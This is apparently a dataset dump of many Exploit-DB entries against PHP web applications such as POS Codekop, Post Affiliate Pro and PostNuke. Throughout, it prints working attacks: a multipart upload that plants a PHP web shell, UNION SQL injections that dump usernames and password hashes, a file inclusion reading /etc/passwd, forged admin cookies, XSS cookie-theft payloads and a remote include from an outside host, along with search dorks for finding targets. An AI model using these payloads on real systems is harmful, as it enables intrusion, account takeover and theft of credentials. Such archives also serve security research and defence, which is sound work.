deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51551
Description: POS Codekop v2.0 - Authenticated Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-07-03
Author: yuyudhn

Exploit:
# Exploit Title: POS Codekop v2.0 - Authenticated Remote Code Execution (RCE)
# Date: 25-05-2023
# Exploit Author: yuyudhn
# Vendor Homepage: https://www.codekop.com/
# Software Link: https://github.com/fauzan1892/pos-kasir-php
# Version: 2.0
# Tested on: Linux
# CVE: CVE-2023-36348
# Vulnerability description: The application does not sanitize the filename
parameter when sending data to /fungsi/edit/edit.php?gambar=user. An
attacker can exploit this issue by uploading a PHP file and accessing it,
leading to Remote Code Execution.
# Reference: https://yuyudhn.github.io/pos-codekop-vulnerability/

# Proof of Concept:
1. Login to POS Codekop dashboard.
2. Go to profile settings.
3. Upload PHP script through Upload Profile Photo.

Burp Log Example:
```
POST /research/pos-kasir-php/fungsi/edit/edit.php?gambar=user HTTP/1.1
Host: localhost
Content-Length: 8934
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
**Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarymVBHqH4m6KgKBnpa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-User: ?1**
Sec-Fetch-Dest: document
Referer: http://localhost/research/pos-kasir-php/index.php?page=user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=vqlfiarme77n1r4o8eh2kglfhv
Connection: close

------WebKitFormBoundarymVBHqH4m6KgKBnpa
Content-Disposition: form-data; name="foto"; filename="asuka-rce.php"
Content-Type: image/jpeg

ÿØÿà JFIF HHÿþ6<?php passthru($_GET['cmd']); __halt_compiler(); ?>
ÿÛC

-----------------------------
```
PHP Web Shell location:
http://localhost/research/pos-kasir-php/assets/img/user/[random_number]asuka-rce.php
Exploit-DB #39108
Description: POSH 3.1.x - 'addtoapplication.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-02-26
Author: Anthony BAUBE

Exploit:
source: https://www.securityfocus.com/bid/65817/info

POSH is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to POSH 3.3.0 are vulnerable. 

http://www.example.com/portal/addtoapplication.php?pid=0&rssurl=url,nbvariables,defvar%20FROM%20dir_item,dir_cat_item
%20WHERE%201=0%20UNION%20SELECT%201,2,3,4,5,6,(select%20group_concat(username,':',email,':',md5pass)%20from%20users),8%23
Exploit-DB #18320
Description: Posse Softball Director CMS - 'team.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-01-04
Author: Easy Laster

Exploit:
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-=--=-=--=-.
 ~ Posse Softball Director CMS Blind SQL Injection Vulnerability team.php  ~
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-=--=-=--=-.
[+] Autor: easy laster
[+] Vulnerabilities [Blind SQL Injection ]
[+] Page: www.possesports.com
[+] Language: [ PHP ]
[+] Version: 1.0
[+] Date: 04.01.2012
[+] Status:vulnerable
.-=--=--=--=--=--=--=--=--=--=--=-.
  
[+] Vulnerability
  
    team.php?idteam=
      
[+] Exploitable
  
    http://[host]/[path]/team.php?idteam=1+and+1=1--+ #true
    http://[host]/[path]/team.php?idteam=1+and+1=2--+ #false
Exploit-DB #18314
Description: Posse Softball Director CMS - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-04
Author: H4ckCity Security Team

Exploit:
############################################################################
# Exploit Title: Posse Sports SQL Injection Vulnerabilitiy
# Google Dork: "Powered By Posse Sports"
# Date: 4/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org  
# Software Link: www.possesports.com
# Version: All Version
# Category:: webapps
# Security Risk:: High
# Tested on: GNU/Linux Ubuntu - Windows Server - win7
############################################################################
#  Exploit:
#
#  http://[target]/newsdetail.php?news_id=[SQL]
#  http://[target]/dirdetails.php?iddirector=[SQL]
#  http://[target]/tdetails.php?idtourn=[SQL]
#  http://[target]/tresults.php?tourn_id=[SQL]
#  http://[target]/tournsearch.php?idclass=[SQL]
#  http://[target]/fieldinfo.php?idfield=[SQL]
#  http://[target]/page.php?id=[SQL*]
#
#  [~] SQL* :
#
#  -9999+union+select+1,2,group_concat(id,0x3a,username,0x3a,password)+from+user
#
#  
#
############################################################################
# Special Thanks : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R- 
# IrIsT-K0242-P0W3RFU7-Mr.M4st3r-Higher_Sense ,...
############################################################################
GreetZ : All H4ckCity Member - BHG Members
############################################################################
Exploit-DB #6772
Description: Post Affiliate Pro 2.0 - 'md' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-16
Author: ZeN

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Software : Post Affiliate Pro v2.0
Vulnrability : Local File Inclusion
Severity : High

Author : ZeN
Date : 16 October 2008

Websites >
http://DUSecurity.com
http://DarkCode.me

PS : You MUST be logged into the system for the exploit to work.

Exploit >

http://site.com/affiliates/index.php?md=../../../../../../../etc/passwd%00


Shouts>
DUSecurity Group
DarkCode
WL-Group
IWannaHack
Milw0rm
EnigmaGroup

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-10-16]
Exploit-DB #26652
Description: Post Affiliate Pro 2.0.4 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15633/info

Post Affiliate Pro is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 2.0.4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/merchants/index.php?tm_userid=_&tm_orderid=&tm_transt
ype%5B%5D=32&tm_transtype%5B%5D=1&tm_transtype%5B%5D=2&tm_transtype%5B%5D=4&tm_transtype%5B%5D=8&tm_transtype%5B%5D=16&tm_transtype%5B%5D=64&tm_status=_&tm_day1=25&tm_month1=11&tm_year1=2005&tm_day2=25&tm_month2=11&tm_year2=2005&numrows=20&filtered=1&md=Affiliate_Merchants_Views_TransactionManager&type=all&list_page=0&action=&sortby=ip&sortorder=[SQL]

http://www.example.com/merchants/index.php?um_name=&um_surname=&um_aid=&um_s
tatus=_&numrows=20&filtered=1&md=Affiliate_Merchants_Views_AffiliateManager&list_page=0&sortby=a.surname&action=&sortorder=[SQL]
Exploit-DB #7238
Description: Post Affiliate Pro 3 - 'umprof_status' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-26
Author: XaDoS

Exploit:
[â– ]  Post Affiliate Pro v.3 (index.php md) <= Blind $ql Injection

 
>Â©<

> AuToR: XaDoS
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Blind $ql inJection
> SIte vuln: http://www.qualityunit.com/postaffiliatepro/

>Â©<
 
 
[â– ] ExPL0iT:
 
|: http://www.example.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=[sql] 
 
 [you must be merchants]

[â– ] DÂ£M0: 
 
|: http://www.demo.qualityunit.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=1 and substring(@@version,1,1)=5 [NOÂ°Â°]
 
|: http://www.demo.qualityunit.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=1 and substring(@@version,1,1)=5 [y&$ ;-)] 
 

 
[â– ] Th4nKs::
 
\> Str0ke </
\> Joy Division </
\> Teo Babbeo </
\> Spud </
\> Loooo Z00ooo00oo0 </  Lol ;-)

# milw0rm.com [2008-11-26]
Exploit-DB #11892
Description: post Card - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-26
Author: Hussin X

Exploit:
post Card ( catid ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home : www.iqs3cur1ty.com<http://www.iqs3cur1ty.com> & www.iq-ty.com<http://www.iq-ty.com>

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script : http://webbdomain.com/php/postcarden/index2.php
script : http://webbdomain.com/php/postcardir/index2.php
version : all
DorK : inurl:choosecard.php?catid=
_____

ExploiT & Demo
_______


version :

http://webbdomain.com/php/postcardir/choosecard.php?catid=-1+uniOn+select+version%28%29,[PII_REDACTED]55,[PII_REDACTED]666666666+from+admin--

user & pass :

http://webbdomain.com/php/postcardir/choosecard.php?catid=-1+uniOn+select+concat%28username,0x3a,password%29,[PII_REDACTED]55,[PII_REDACTED]666666666+from+admin--



Note : Exploit in Source page

Example :

<td><a style="text-decoration:none" href='chosencard.php?id=5.0.89-community // << version :D

<td><a style="text-decoration:none" href='chosencard.php?id=admin:admin' // << here user and pass
Exploit-DB #6625
Description: Post Comments 3.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-29
Author: Crackers_Child

Exploit:
Post Comments v3.0 Insecure Cookie Handling Vulnerability
****************************
By Crackers_Child
****************************
Demo : http://www.phpjabbers.com/post-comment/try/admin.php

Vendor :   by phpjabbers.com

Exploit : javascript:document.cookie = "PostCommentsAdmin=logged; path=/";
****************************
Tum Musluman Aleminin Ramazan Bayrami Kutlu Olsun.
****************************

# milw0rm.com [2008-09-29]
Exploit-DB #21401
Description: PostBoard 2.0 - BBCode IMG Tag Script Injection
Type: webapps
Platform: php
Date: 2002-04-19
Author: gcsb

Exploit:
source: https://www.securityfocus.com/bid/4559/info

PostBoard is a freely available, open source message board module for the PostNuke content management system. It is designed for use on the Unix and Linux operating systems.

PostBoard does not sanitize code submitted to site between IMG tags. Due to this, a malicious user may be able to submit a post to the site with script code between two IMG tags. 

The following code is proof of concept:

[IMG]javascript:alert('give me cookies');[/IMG]
Exploit-DB #21403
Description: PostBoard 2.0 - Topic Title Script Execution
Type: webapps
Platform: php
Date: 2002-04-19
Author: gcsb

Exploit:
source: https://www.securityfocus.com/bid/4561/info

PostBoard is a freely available, open source message board module for the PostNuke content management system. It is designed for use on the Unix and Linux operating systems.

PostBoard does not adequately sanitize input by board users. Because of this, it is possible for users of the board to insert script code in message titles.

The following code is proof of concept:

<script>alert('give me cookies');</script>
Exploit-DB #5439
Description: PostCard 1.0 - Remote Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-04-13
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+        PostCard 1.0 Insecure Cookie Handling (Arbitrary Authentication)	     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 13 April 2008
Script Download: N/A
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION:
PostCard 1.0 (and prior???) suffers from insecure cookie handling.
to be able to view admin panel the user requires to login using a valid user/pass
after the valid user/pass has been passed and matches then a cookie is created 
the admin panel checks to see if this cookie exists  if it does then user can access admin.

since the cookie doesnt contain no hash/pass/sid just a number "1" indicating we are logged in, the remote
attacker can craft a cookie (working example below) to access admin
 


Vulnerability:
javascript:document.cookie = "logged_in=1; path=/;";


NOTE/TIP:
after running the above javascript (or adding cookies manually) you will be able to visit the admin panel at
"/postcard-admin.php" 


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


--==+================================================================================+==--
--==+        PostCard 1.0 Insecure Cookie Handling (Arbitrary Authentication)	     +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-13]
Exploit-DB #21119
Description: PostNuke 0.6 - User Login
Type: webapps
Platform: php
Date: 2001-10-13
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/3435/info

PostNuke, successor to PHPNuke, is a content management system written in PHP. PostNuke versions 0.62 to 0.64 suffer from a vulnerability that allows a remote user to log-in as any user with known username and ID without authentication. The problem lies in a failure to filter inappropriate characters from variables that can be passed to the program's components by a remote attacker. This allows the attacker to alter a mysql query to the user database, bypassing password checking and assuming the identity of a specified user.

The component "article.php" calls a routine in "mainfile2.php" to update user information (i.e., log the user on) when the variable "save=1" (and the appropriate user ID and name) is specified in the URL. This routine, getusrinfo(), performs a mysql query to load user information from the database. Since part of this query is taken from insecure input that can be passed (in base64 encoded form) to "article.php" by a remote attacker, this query can be altered with the use of a properly placed single quote character followed by mysql statements.

This allows an attacker to bypass the condition "where user=$user3[1] and pass=$user3[2]" of the affected mysql query, for example by appending "or user=USERNAME" to it. 

The attacker must base64 encode the string containing the malformed
User ID, Username and Password combination. The unencoded string would be in the following format (with USERID and USERNAME appropriately replaced):

USERID:USERNAME:' or uname='USERNAME

This encoded string would then be passsed to the article.php script by requesting a URL of the following form (this could be trivially accomplished from a web browser):

http://targethost/article.php?save=1&sid=20&cookieusrtime=160000&user=USERID:encodedstring

Where encodedstring is the previously described base64 encoded string. Base64 encoding can be trivially accomplished with the use of any of a number of simple utilities.
Exploit-DB #22997
Description: PostNuke 0.6/0.7 Downloads Module - TTitle Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-08
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8374/info

It has been reported that a cross site scripting vulnerability exists in the Downlaods and Web_Links modules of PostNuke. It is possible that an attacker may construct a link containing malicious script code that could be executed in a browser of a user who visits the link.

Exploitation could allow theft of authentication cookies.

http://www.example.com/[PATH]/modules.php?
op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=[ID]
&ttitle=[Yeye XSS ;-)]"%3e[XSS ATTACK]
Exploit-DB #22998
Description: PostNuke 0.6/0.7 web_links Module - TTitle Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-08
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8374/info
 
It has been reported that a cross site scripting vulnerability exists in the Downlaods and Web_Links modules of PostNuke. It is possible that an attacker may construct a link containing malicious script code that could be executed in a browser of a user who visits the link.
 
Exploitation could allow theft of authentication cookies.

http://www.example.com/[PATH]/modules.php?
op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=[ID]
&ttitle=[MORE ? ;-(]"%3e[XSS ATTACK]
Exploit-DB #28163
Description: PostNuke 0.6x/0.7x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-07-04
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/18819/info

PostNuke is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before displaying it to users of the application.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php/"><script>alert(document.cookie)<\script>/script>/?[arguments] http://www.example.com/modules.php/';<\script></head><body><script>alert(document.cookie)<\script>/script>/?[arguments]
Exploit-DB #27254
Description: PostNuke 0.6x/0.7x NS-Languages Module - 'language' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-21
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/16752/info

PostNuke is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or control how the site is rendered to the user. Other attacks are also possible.

http://www.example.com/admin.php?module=NS-Languages&op=missing&language=">[code]
http://www.example.com/admin.php?module=NS-Languages&op=translation&language=[code]
Exploit-DB #27255
Description: PostNuke 0.6x/0.7x NS-Languages Module - 'language' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-21
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/16752/info
 
PostNuke is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or control how the site is rendered to the user. Other attacks are also possible.

http://www.example.com/admin.php?module=NS-Languages&op=missing&language=[sql]
Exploit-DB #21357
Description: PostNuke 0.703 - caselist Arbitrary Module Include
Type: webapps
Platform: php
Date: 2002-03-28
Author: pokleyzz sakamaniaka

Exploit:
source: https://www.securityfocus.com/bid/4381/info

PostNuke is a content management system originally forked from the PHP-Nuke project. It is implemented in PHP, and available for Windows, Linux and other Unix based systems.

A vulnerability has been reported in some versions of PostNuke. Reportedly, it is possible to force the script user.php to include arbitrary modules. These files may be hosted remotely and contain arbitrary code, which will then be executed by the vulnerable system.

Other versions of PostNuke may share this vulnerability. This has not, however, been confirmed.

http://lame_host/user.php?caselist[bad_file.txt][path]=http://bad_host
Exploit-DB #21873
Description: PostNuke 0.72 - 'modules.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-09-26
Author: Mark Grimes

Exploit:
source: https://www.securityfocus.com/bid/5809/info

A cross site scripting vulnerability has been reported for PostNuke. 

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting the web-based forum.

http://news.postnuke.com/modules.php?op=modload&name=News&file=index&catid=&topic=>
<script>alert(document.cookie);</script>

http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=
<script>alert(document.cookie);</script+>
Exploit-DB #24324
Description: PostNuke 0.72/0.75 Reviews Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-07-26
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10802/info

PostNuke is reported prone to a cross-site scripting vulnerability. This issue affects the 'title' parameter of 'Reviews' script. Exploitation of this issue could allow for theft of cookie-based authentication credentials. Other attacks are also possible. 

It should be noted, that although this vulnerability has been reported to affect PostNuke version 0.726-3 and 0.75-RC3, other versions might also be affected.

http://www.example.com/html/modules.php?0p=modload&name=Reviews&file=index&req=showcontent&id=1&title=%253cscript>alert%2528document.cookie);%253c/script>
Exploit-DB #22767
Description: PostNuke 0.723 - 'user.php' UNAME Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-06-13
Author: David F. Madrid

Exploit:
source: https://www.securityfocus.com/bid/7901/info

The PostNuke 'user.php' script does not sufficiently sanitize data supplied via URI parameters, making it prone to cross-site scripting attacks. This could allow for execution of hostile HTML and script code in the web client of a user who visits a web page that contains the malicious code.

Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible. 

http://www.server.com/user.php?op=confirmnewuser&module=NS-NewUser&uname=%22
%3E%3Cimg%20src=%22javascript:alert(document.cookie);%22%3E&email=lucas@pelu
cas.com
Exploit-DB #22761
Description: PostNuke 0.723 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2003-06-13
Author: David F. Madrid

Exploit:
source: https://www.securityfocus.com/bid/7898/info

The PostNuke 'modules.php' script does not sufficiently sanitize data supplied via URI parameters, making it prone to cross-site scripting attacks. This could allow for execution of hostile HTML and script code in the web client of a user who visits a web page that contains the malicious code.

Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.server.com/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&i
d_cat=1&categories=%3Cimg%20src=javascript:alert(document.cookie);%3E&parent
_id=0

http://www.server.com/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert
(document.cookie);%3E&op=modload&name=Members_List&file=index
Exploit-DB #22439
Description: PostNuke 0.72x Members_List Module - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-03-28
Author: rkc

Exploit:
source: https://www.securityfocus.com/bid/7218/info
 
Multiple path disclosure vulnerabilities have been reported in various PHP scripts used by PHP-Nuke. The issue occurs when an invalid URI parameter is passed to certain scripts. The affected scripts do not provide sufficient error handling for this circumstance and as such, may display an error page containing sensitive information path information. 

http://www.target.com/modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=uname1234